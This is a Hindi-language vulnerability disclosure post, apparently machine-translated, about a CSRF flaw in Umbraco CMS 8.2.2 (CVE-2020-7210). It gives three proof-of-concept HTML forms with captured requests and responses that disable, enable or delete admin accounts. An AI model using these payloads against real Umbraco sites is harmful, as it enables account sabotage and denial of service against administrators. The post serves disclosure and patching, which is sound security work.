👩🏻‍🏭 🛏️ 🏪 Umbraco CMS में CSRF 🖋️ 👩🏿‍🤝‍👩🏼 👨🏽‍🏭

Umbraco CMS सामग्री प्रबंधन प्रणाली के लिए मनमाने ढंग से वेब अनुरोध करने और अपने उपयोगकर्ताओं को उनकी जानकारी के बिना पहचानने के लिए क्रॉस-साइट अनुरोध जालसाजी का उपयोग किया जा सकता है। इस तरह के हमले के लिए हमेशा उपयोगकर्ता के साथ बातचीत की आवश्यकता होती है, लेकिन, एक नियम के रूप में, यह पीड़ित के लिए विशेष रूप से तैयार लिंक का पालन करने या एक वेब पेज पर जाने के लिए पर्याप्त है जो एक हमलावर के नियंत्रण में है। इससे उपयोगकर्ता खातों को सक्रिय करना, निष्क्रिय करना या पूरी तरह से हटाना संभव हो जाता है। नतीजतन, खातों पर DoS के हमलों का खतरा है ।

पृष्ठभूमि

एक छोटे संसाधन पैठ के परीक्षण के दौरान यह Umbraco CMS ~~के समय~~ में नए सिरे से CSRF -uyazvimost की खोज की गई थी । इस भेद्यता को प्रशासनिक विशेषाधिकारों वाले उपयोगकर्ता खातों को सक्रिय करने, निष्क्रिय करने या पूरी तरह से हटाने की अनुमति दी गई है। इस तथ्य के बावजूद कि नवीनतम OWASP टॉप टेन 2017 की रिपोर्ट में, CSRF कमजोरियों ने 10 सबसे महत्वपूर्ण की सूची को छोड़ दिया, उन्हें छूट देना जल्दबाजी होगी। भेद्यता का परीक्षण संस्करण 8.2.2 पर किया गया था; संस्करण 8.5 में, यह पहले से ही तय किया गया है, लेकिन यह संभव है कि इससे पहले के अन्य संस्करण असुरक्षित रहें। इस उत्पाद के उपयोगकर्ताओं को नवीनतम उपलब्ध संस्करण में तुरंत अपग्रेड करने के लिए दृढ़ता से प्रोत्साहित किया जाता है।

अवधारणा के सुबूत

वास्तविक हमले की स्थिति में, निम्न HTML दस्तावेज़ को एक दुर्भावनापूर्ण वेबसाइट पर एक हमलावर द्वारा नियंत्रित किया जाएगा।

उदाहरण 1: उपयोगकर्ता को निष्क्रिय करने के लिए HTML

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

एक अनुरोध जो पीड़ित की ओर से सर्वर को भेजा जाता है:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

सर्वर से प्राप्त प्रतिक्रिया:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

उदाहरण 2: HTML एक उपयोगकर्ता को सक्षम करने के लिए

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

पूछताछ:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

उत्तर:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

उदाहरण 3: उपयोगकर्ता को हटाने के लिए HTML

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

पूछताछ:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

उत्तर:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}

पीड़ित को JSON प्रारूप (क्लिक करने योग्य स्क्रीन) में सर्वर से प्रतिक्रिया मिलती है ।

जैसे ही एक प्रमाणित पीड़ित (व्यवस्थापक) एम्बेडेड दुर्भावनापूर्ण HTML के साथ एक वेबसाइट पर जाता है, पीड़ित के सत्र के संदर्भ में सक्रिय दुर्भावनापूर्ण सामग्री निष्पादित होने लगती है। हालाँकि इन अनुरोधों के जवाब हमलावर को नहीं दिए जाते हैं, लेकिन कई मामलों में यह उसके लिए पर्याप्त होगा कि वह साइट पर संग्रहीत पीड़ित की जानकारी की अखंडता को खतरे में डाले, या अन्य साइटों पर संभावित समझौता अनुरोधों को निष्पादित करे।

एक निष्कर्ष के बजाय

हालाँकि हाल ही में अधिक से अधिक हमले क्लाइंट-साइड से सर्वर-साइड में गए हैं, फिर भी उन्हें उचित ध्यान देने की आवश्यकता है। क्लाइंट के साथ बात करने के बाद, हमने जल्दी से सॉफ्टवेयर उत्पाद विक्रेता से संपर्क किया और सुधार के बारे में जानकारी प्राप्त की। भेद्यता को CVE-2020-7210 सूचकांक सौंपा गया था। मैं मानता हूं, मेरे लिए एक पंचक के रूप में, यह सीवीई सूचकांक प्राप्त करने के लिए पहली भेद्यता है।